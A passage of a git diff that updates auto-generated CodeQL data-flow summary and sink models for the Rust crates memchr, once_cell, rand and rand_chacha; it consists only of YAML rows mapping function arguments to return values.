["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml index 62617b2b033..2317865e696 100644 --- a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml +++ b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml @@ -4,24 +4,6 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::OneIter::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::ThreeIter::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::TwoIter::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::OneIter::searcher]", "value", "dfc-generated"] @@ -83,6 +65,54 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::packedpair::Finder::pair]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::One::avx2].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::One::sse2].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::avx2].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::sse2].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::avx2].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::sse2].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::x86_64::avx2::packedpair::Finder::sse2].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::x86_64::avx2::packedpair::Finder::avx2].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[0].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::x86_64::sse2::packedpair::Finder(0)].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[0].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::x86_64::sse2::packedpair::Finder(0)].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[0].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] @@ -92,31 +122,26 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::haystack]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::pos]", "ReturnValue.Field[crate::memmem::FindIter::pos]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::prestate]", "ReturnValue.Field[crate::memmem::FindIter::prestate]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindIter::finder]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::haystack]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::pos]", "ReturnValue.Field[crate::memmem::FindRevIter::pos]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindRevIter::finder]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "Argument[self].Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "ReturnValue.Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[1]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[2]", "Argument[self]", "taint", "df-generated"] @@ -132,12 +157,6 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::to_char", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::count_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] @@ -166,3 +185,7 @@ extensions: data: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml index deaaf890d15..e25f5920a01 100644 --- a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml +++ b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml @@ -18,4 +18,3 @@ extensions: - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] - - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml index 682e2545713..c55a8de83f5 100644 --- a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml @@ -24,11 +24,14 @@ extensions: - ["repo:https://github.com/rust-random/rand:rand", "::weights", "Argument[self]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::next_u64", "Argument[self].Field[crate::rngs::mock::StepRng::v]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::rngs::mock::StepRng::v]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::mock::StepRng::a]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[0].Field[crate::block::BlockRng::core]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingCore::reseeder]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::coin_flipper::CoinFlipper::rng]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::rng]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml index 456b8c7e3e7..f06b9cd4c78 100644 --- a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml @@ -9,8 +9,20 @@ extensions: - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha12Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha20Rng::rng].Field[crate::block::BlockRng::core]", "value", 